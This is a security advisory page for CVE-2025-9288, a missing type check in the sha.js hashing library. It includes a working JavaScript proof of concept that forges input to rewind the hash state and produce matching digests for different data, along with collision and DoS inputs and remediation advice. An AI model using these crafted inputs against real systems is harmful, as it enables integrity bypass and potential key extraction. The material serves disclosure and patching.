CVE-2025-9288: Missing type checks leading to hash rewind and passing on crafted data

Published Aug 20, 2025
·
Updated

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe

Or just: console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

Other sources

Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.

NVD

Missing type checks leading to hash rewind and passing on crafted data

Microsoft

Affected Software

6 affected componentsFixes available
sha.js sha.js<=2.4.11
npm/sha.js<=2.4.11
2.4.12
browserify Sha.js Node.js<=2.4.11
Microsoft cbl2 reaper 3.1.1-19
Microsoft cbl2 reaper 3.1.1-21
IBM watsonx.data intelligence<=5.2.0, 5.2.1, 5.2.2, 5.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/sha.js to a version that resolves this vulnerability.

    Fixed in 2.4.12
  2. Upgrade

    Upgrade sha.js to a version that resolves this vulnerability.

    Fixed in through 2.4.11Patch GHSA-cpq7-6gpm-g9rc
  3. Compensating control

    Ensure all inputs passed to sha.js hash.update are strictly validated as a well-formed Buffer or string to avoid missing input type checks that can cause hash rewind/state corruption (including turning a tagged hash into an untagged hash).

Event History

Aug 20, 2025
CVE Published
via MITRE·09:59 PM
Data Sourced
via MITRE·09:59 PM
DescriptionWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyAffected Software
Data Sourced
via Red Hat·11:01 PM
DescriptionSeverityAffected Software
Aug 21, 2025
Advisory Published
via GitHub·02:47 PM
Data Sourced
via GitHub·02:47 PM
DescriptionWeaknessAffected Software
Sep 3, 2025
Data Sourced
via Microsoft·10:01 PM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·10:01 PM
Affected Software
Updated
via Microsoft·10:01 PM
DescriptionSeverity
Jun 24, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-9288?

CVE-2025-9288 is classified as a high severity vulnerability due to improper input validation.

2

How do I fix CVE-2025-9288?

To fix CVE-2025-9288, upgrade to sha.js version 2.4.12 or later.

3

What causes CVE-2025-9288?

CVE-2025-9288 is caused by improper input validation in sha.js, allowing input data manipulation.

4

Which versions of sha.js are affected by CVE-2025-9288?

CVE-2025-9288 affects sha.js versions up to and including 2.4.11.

5

Is CVE-2025-9288 exploitable?

Yes, CVE-2025-9288 is exploitable, potentially allowing attackers to manipulate input data.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203